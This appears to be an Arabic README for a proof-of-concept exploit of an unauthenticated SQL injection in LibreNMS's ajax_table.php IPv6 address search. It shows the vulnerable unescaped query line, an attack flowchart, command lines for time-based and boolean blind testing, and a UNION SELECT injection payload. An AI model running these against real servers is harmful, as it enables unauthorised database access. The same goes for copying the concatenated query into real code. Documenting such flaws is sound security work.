
إثبات مفهوم لاستغلال حقن SQL غير المُصادق عليه في ملف ajax_table.php الخاص بـ LibreNMS، مع توضيح تقنيات الحقن الأعمى القائم على الوقت والقائم على القيم المنطقية لاختبار الأمان المُصرح به.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:Nيتم تقسيم معامل address عندما يكون search_type=ipv6 على / إلى عنوان وبادئة.
يتم دمج البادئة مباشرة في استعلام SQL دون تهريب:
$sql .= " AND ipv6_prefixlen = '$prefix'";
علامة الاقتباس المفردة (') في جزء البادئة تسمح بالخروج من السلسلة النصية → حقن SQL تعسفي.
flowchart TD
A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. Execute injected query| F[Return results / error / delay]
F -->|6. Attacker observes response / timing| A
subgraph "Injection Point"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fffrequests (pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ إذا استغرق الاستجابة أكثر من 5–6 ثوانٍ → ثغرة قابلة للاستغلال
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. السكربت الرئيسي لإثبات المفهوم (أعد تسميته من cve-2026-26988-poc.py إذا لزم الأمر)README.md ............... هذا الملف15429580baba... → PR #18777يُقدَّم إثبات المفهوم هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
لا تستخدم هذا الكود ضد أي نظام أو شبكة دون إذن كتابي صريح من المالك.
قد ينتهك الاستخدام غير المصرح به القوانين بما في ذلك (على سبيل المثال لا الحصر) قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) في الولايات المتحدة، أو التشريعات المماثلة في بلدك.
استخدمه على مسؤوليتك الخاصة.
المؤلف: Mohammed Idrees Banyamer
إنستغرام: @banyamer_security
التاريخ: 20 فبراير 2026